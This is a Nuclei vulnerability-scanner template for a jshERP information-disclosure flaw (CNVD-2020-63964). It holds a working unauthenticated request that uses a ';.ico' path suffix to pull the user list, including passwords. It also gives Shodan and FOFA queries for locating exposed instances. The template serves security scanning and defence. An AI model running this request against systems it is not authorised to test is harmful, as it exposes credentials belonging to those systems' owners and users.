nuclei-templates/http/cnvd/2020/CNVD-2020-63964.yaml

43 lines
1.1 KiB
YAML

id: CNVD-2020-63964
info:
name: jshERP - Information Disclosure
author: brucelsone
severity: high
description: |
jshERP that can reveal sensitive information including system credentials without credentials.
reference:
- https://cn-sec.com/archives/1798444.html
classification:
cpe: cpe:2.3:a:jishenghua:jsherp:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: jishenghua
product: jsherp
shodan-query: http.favicon.hash:-1298131932
fofa-query: jshERP-boot
tags: cnvd,cnvd2020,jsherp,disclosure
http:
- method: GET
path:
- "{{BaseURL}}/jshERP-boot/user/getAllList;.ico"
matchers-condition: and
matchers:
- type: word
words:
- '"username":'
- '"loginName":'
- '"password":'
condition: and
- type: word
part: header
words:
- "application/json"
- type: status
status:
- 200
# digest: 4a0a00473045022100eb98cf5e35423b069264c97e0cf206657ffb3492b11042069ade33604b4dd02802207d34a1c8aebdc7abb0758b89a7d41cb5d0f4b28ecbc6860f38b4286db06d0c39:922c64590222798bb761d5b6d8e72950